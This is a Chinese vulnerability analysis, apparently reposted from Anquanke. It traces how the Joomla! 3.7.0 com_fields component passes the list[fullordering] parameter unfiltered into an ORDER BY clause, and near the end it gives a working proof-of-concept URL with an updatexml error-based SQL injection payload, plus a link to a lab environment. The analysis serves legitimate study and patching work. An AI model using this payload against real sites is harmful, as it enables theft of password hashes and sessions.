Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC、漏洞环境)

$
0
0
【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC、漏洞环境)

2017-05-18 12:16:53

阅读:683次
点赞(0)
收藏
来源: 安全客





【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC、漏洞环境)

作者:Balis0ng





【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC、漏洞环境)

作者:Balis0ng

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞(更新漏洞环境)


前言

Joomla!是世界上最受欢迎的内容管理系统(CMS)解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。据不完全统计互联网上超过3%的网站运行Joomla!,同时它占有全球9%以上的CMS市场份额。

截止至2016年11月,Joomla!的总下载量超过7800万次。目前Joomla!官方还提供了超过7800个扩展插件(含免费、收费插件)及其他的可用资源可供下载。


漏洞概述
漏洞等级:严重

漏洞类型:SQL 注入

利用难度:简单

利用方式:远程

影响版本:Joomla! 3.7.0 Core

漏洞简述:这个漏洞出现在3.7.0新引入的一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。由于对请求数据过滤不严导致sql 注入,sql注入对导致数据库中的敏感信息泄漏,例如用户的密码hash以及登陆后的用户的session(如果是获取到登陆后管理员的session,那么整个网站的后台系统可能被控制)。


漏洞分析

看了一下漏洞概要,发现写的比较简单,自己复现的时候发现调用关系比较复杂,特别是在类函数的调用中,稍不注意就钻错函数了。

首先,在E:/www/joomla370/components/com_fields/controller.php中有这样一段代码:

publicfunction__construct($config=array()) { $this->input=JFactory::getApplication()->input; //FrontpageEditorFieldsButtonproxying: if($this->input->get('view')==='fields'&&$this->input->get('layout')==='modal') { //Loadthebackendlanguagefile. $lang=JFactory::getLanguage(); $lang->load('com_fields',JPATH_ADMINISTRATOR); $config['base_path']=JPATH_COMPONENT_ADMINISTRATOR; } parent::__construct($config); } 这里我们接收两个参数,一个view和一个layout,然后满足一定条件就进入到了if中,这里有一个关键点,设置了一个$config['base_path']为administrator的components目录。

然后调用父类的构造方法:

parent::__construct($config);

我们跟一下这个方法:

在E:/www/joomla370/libraries/legacy/controller/legacy.php中的__construct方法,函数体太长,就不贴了,主要在395行,加入我们的model:

if(array_key_exists('model_path',$config)) { //User-defineddirs $this->addModelPath($config['model_path'],$this->model_prefix); } else { $this->addModelPath($this->basePath.'/models',$this->model_prefix); }

这里是进入到了else这个分支,然后这个地方的$this->basePath就是我们最开始的注意点,是administators/components

然后设置完了后就调用该类中的display方法进行一个实际操作,包括创建model之类的操作,在第613行:

publicfunctiondisplay($cachable=false,$urlparams=array()) { $document=JFactory::getDocument(); $viewType=$document->getType(); $viewName=$this->input->get('view',$this->default_view); $viewLayout=$this->input->get('layout','default','string'); $view=$this->getView($viewName,$viewType,'',array('base_path'=>$this->basePath,'layout'=>$viewLayout)); //Get/Createthemodel if($model=$this->getModel($viewName)) { //Pushthemodelintotheview(asdefault) $view->setModel($model,true); }

这里的$viewName是取自于view,也就是fields,然后这里先调用getView函数取得视图,然后再调用了getModel进行一个操作:

publicfunctiongetModel($name='',$prefix='',$config=array()) { if(empty($name)) { $name=$this->getName(); } if(empty($prefix)) { $prefix=$this->model_prefix; } if($model=$this->createModel($name,$prefix,$config)) { //Taskisareservedstate $model->setState('task',$this->task); //Let'sgettheapplicationobjectandsetmenuinformationifit'savailable $menu=JFactory::getApplication()->getMenu(); if(is_object($menu)) { if($item=$menu->getActive()) { $params=$menu->getParams($item->id); //Setdefaultstatedata $model->setState('parameters.menu',$params); } } } return$model; }

这里调用createModel方法进行类的实例化。

并返回$model。

接着调用setModel函数将$model push到$view中。

到665行调用视图的display函数:

else { $view->display(); } return$this;

然后我们跳转到视图的display函数中来,在E:/www/joomla370/administrator/components/com_fields/views/fields/view.html.php中:

publicfunctiondisplay($tpl=null) { $this->state=$this->get('State'); $this->items=$this->get('Items'); $this->pagination=$this->get('Pagination'); $this->filterForm=$this->get('FilterForm'); $this->activeFilters=$this->get('ActiveFilters');

首先看第一行,这里调用了get函数,参数是State,我们跟进这个get函数,在E:/www/joomla370/libraries/legacy/view/legacy.php中第417行:

$method='get'.ucfirst($property); //Doesthemethodexist? if(method_exists($this->_models[$model],$method)) { //Themethodexists,let'scallitandreturnwhatweget $result=$this->_models[$model]->$method(); return$result; } }

这里我们的$property是我们传进的实参也就是'State',那么拼接起来后的方法名就是getState,然后调用这个方法,由于这个方法在filedsmodel类中没有,那么会往父类里面找,根据一层层的继承关系,我们找到了getState方法,在E:/www/joomla370/libraries/legacy/model/legacy.php中

publicfunctiongetState($property=null,$default=null) { if(!$this->__state_set) { //Protectedmethodtoauto-populatethemodelstate. $this->populateState(); //Setthemodelstatesetflagtotrue. $this->__state_set=true; }

然后这里会调用populateState方法,这个populateState只会调用一次。这个方法到底是哪个类中的呢?毋庸置疑,是filedsModel中的populateState方法:

protectedfunctionpopulateState($ordering=null,$direction=null) { //Liststateinformation. parent::populateState('a.ordering','asc'); $context=$this->getUserStateFromRequest($this->context.'.context','context','com_content.article','CMD'); $this->setState('filter.context',$context);

可以看到这里有调用了父类populateState方法,我们跟进到父类,在E:/www/joomla370/libraries/legacy/model/list.php

中,也就是漏洞原作者开始写的地方:

在第496行:

if($list=$app->getUserStateFromRequest($this->context.'.list','list',array(),'array')) { foreach($listas$name=>$value) { //Excludeifblacklisted if(!in_array($name,$this->listBlacklist)) { //Extravalidations switch($name) { case'fullordering': $orderingParts=explode('',$value); if(count($orderingParts)>=2)

这里取了个list的值进来赋值给了$list

然后将$list遍历出来,接着switch 键值。switch代码过多,我们只需要看switch完后的一个操作,也就是在567行:

$this->setState('list.'.$name,$value);

通过这个我们可以设置list.fullfullordering

那么这里是设置了,总得取出来才行啊,那我们开始看如何将这个值取出来的。

上面说道在视图文件中的display方法中,利用get('State')来调用了getState方法。紧跟着这个操作的下一行,就有一个get('Item')。

publicfunctiondisplay($tpl=null) { $this->state=$this->get('State'); $this->items=$this->get('Items');

通过上面的分析,我们可以轻松的找到正确调用的方法,没错,就是E:/www/joomla370/libraries/legacy/model/list.php中的getItems方法:

publicfunctiongetItems() { //Getastoragekey. $store=$this->getStoreId(); //Trytoloadthedatafrominternalstorage. if(isset($this->cache[$store])) { return$this->cache[$store]; } try { //Loadthelistitemsandaddtheitemstotheinternalcache. $this->cache[$store]=$this->_getList($this->_getListQuery(),$this->getStart(),$this->getState('list.limit')); }

这里调用了一个_getListQuery方法,继续跟踪,就在该类里面:

protectedfunction_getListQuery() { //Capturethelaststoreidused. static$lastStoreId; //Computethecurrentstoreid. $currentStoreId=$this->getStoreId(); //Ifthelaststoreidisdifferentfromthecurrent,refreshthequery. if($lastStoreId!=$currentStoreId||empty($this->query)) { $lastStoreId=$currentStoreId; $this->query=$this->getListQuery(); }

然后这里又调用了一个getListQuery方法,这里调用的getListQuery不是此类的getListQuery,而是子类,也就是filedsModel类里的getListQuery了,我们看一下该方法,在该方法的最后呢,也就是304左右:

//Addthelistorderingclause $listOrdering=$this->getState('list.fullordering','a.ordering'); $orderDirn=''; if(empty($listOrdering)) { $listOrdering=$this->state->get('list.ordering','a.ordering'); $orderDirn=$this->state->get('list.direction','DESC'); } $query->order($db->escape($listOrdering).''.$db->escape($orderDirn)); return$query; }

这里就调用getState将我们前面设置的list.fullordering的值给取了出来,然后带入到了order函数中去了,就造成了一个order by的注入。


PoC

http://localhost/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)
【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC、漏洞环境)
PoC验证截图

漏洞环境

感谢开源社区力量

漏洞靶场环境 由phithon维护

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。

https://github.com/phith0n/vulhub/tree/master/joomla/CVE-2017-8917


总结

总的来说,注入触发的流程也不新鲜了,早在之前的joomla爆的一些组件注入中,比如之前的history组件注入,也多数是因为populate函数中的对一些参数过滤不严格,然后导致后来取出来的时候就产生了注入。


参考链接

https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html


传送门

【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞(更新漏洞环境)




【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC、漏洞环境)
【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC、漏洞环境)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3870.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles